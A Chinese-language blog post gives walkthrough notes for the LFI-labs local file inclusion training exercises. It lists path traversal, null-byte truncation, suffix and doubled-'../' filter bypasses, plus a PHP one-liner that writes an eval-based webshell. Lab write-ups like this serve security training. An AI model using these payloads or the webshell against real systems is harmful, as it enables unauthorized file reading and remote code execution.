LFI-labs-master 通關筆記
阿新 • • 發佈:2020-09-15
LFI-labs-master 通關筆記
LFI-1
第一個沒有任何過濾,直接是將我們的page引數包含 我們直接使用相對路徑“../../phpinfo.php” 包含我們想要執行的php檔案即可。
LFI-2
第二關是將我們傳入的library引數 前面加了“includes/” 後面加了“.php” 可以採用00截斷後面的“.php”
我們用“../../../phpinfo.php”執行即可
LFI-3
第三關取檔案最後面四位來判斷是不是.php 如果是的話就不給包含
繞過方法是在php後面加. “phpinfo.php.”或者“phpinfo.php/.” 因為在後綴名中 . / 等符號是不會識別的 在
LFI-4
第四關同樣末尾加了.php 前面加了“includes/class_” 還將變數用addslashes函式處理
採用“../../../../../phpinfo”通關(五個父路徑 去掉字尾名)
LFI-5
第五關將我們輸入的引數中的“../”過濾為空 我們可以雙寫進行繞過
補充知識:這裡用include()函式處理$file ,include函式會識別檔案中的php檔案並解析。
對於![1598082833548]
file_get_contents()函式是僅僅將檔案中的內容作為字串形式展示。
LFI-6
第六關用POST形式傳引數 用page=../../../phpinfo.php 即可
對於要寫入木馬,不同於GET傳參,要用額外的方法寫入shell
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>');?>
//fputs(file,str)將字串str寫入file
//fopen(file,w)開啟檔案file 如果沒有就新建一個 後面跟寫入內容/
後面的都是重複型的繞過,只不過是POST的。
總結一下:
- 我們可以直接包含絕對路徑檔案如 c:\boot.ini,或者用../訪問上一級目錄(相對路徑)。
- 對後面自動添加了字尾 用%00可以截斷
- php. 或者 php/. 是和php 一樣的字尾 用於繞過
- ../被替換為空可以雙寫 繞過